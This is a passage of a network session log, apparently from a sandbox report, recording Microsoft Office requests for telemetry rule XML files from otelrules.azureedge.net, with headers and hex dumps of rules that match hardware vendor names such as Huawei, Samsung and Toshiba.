2024-10-30 06:28:11 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:11 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 1abafd92-601e-0070-072b-27a0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062811Z-16849878b7898p5f6vryaqvp5800000008d000000000emdy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:11 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.4	49866	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:11 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:11 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:11 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: de33ccc9-c01e-008e-25fe-267381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062811Z-16849878b78bcpfn2qf7sm6hsn000000097g00000000cy8y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:11 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.4	49867	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:11 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:11 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:11 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 67fffc2c-401e-000a-5dae-264a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062811Z-16849878b78wv88bk51myq5vxc00000007w000000000d744 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:11 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.4	49868	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:12 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:12 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:12 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 54a08b66-801e-008f-529b-272c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062812Z-16849878b78j7llf5vkyvvcehs00000008mg00000000nc1u x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:12 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.4	49869	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:12 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:12 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:12 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 546431bf-201e-0085-0b72-2734e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062812Z-16849878b78j5kdg3dndgqw0vg000000099g00000000eq9y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:12 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.4	49870	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:12 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:12 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:12 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 46a88b53-101e-0017-7e74-2747c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062812Z-16849878b78xblwksrnkakc08w00000006x0000000009a2v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:12 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.4	49871	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:12 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:12 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:12 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 2760be74-301e-0096-200b-26e71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062812Z-16849878b785dznd7xpawq9gcn00000008z000000000e8nc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:12 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.4	49872	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:12 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:12 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:12 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: fa11464d-701e-0032-1f49-27a540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062812Z-16849878b785jrf8dn0d2rczaw00000008wg000000001yw4 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:12 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.4	49875	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:12 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:12 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:12 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: c9fe3c14-601e-0050-50d7-262c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062812Z-16849878b785dznd7xpawq9gcn000000092g000000005p3s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:12 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.4	49873	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:12 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:13 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:13 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: b9cb9fa3-701e-005c-6994-2abb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062812Z-15b8d89586f6nn8zqg1h5suba800000002t000000000cfzx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-10-30 06:28:13 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.4	49874	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:12 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:13 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:12 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: d63b5638-a01e-0021-2ab4-27814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062812Z-16849878b78g2m84h2v9sta29000000006n0000000003k2b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:13 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.4	49876	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:12 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:13 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:13 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: cd3f31c5-e01e-0033-6a5a-274695000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062813Z-r197bdfb6b4b4pw6nr8czsrctg00000008d0000000008h9e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:13 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.4	49877	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
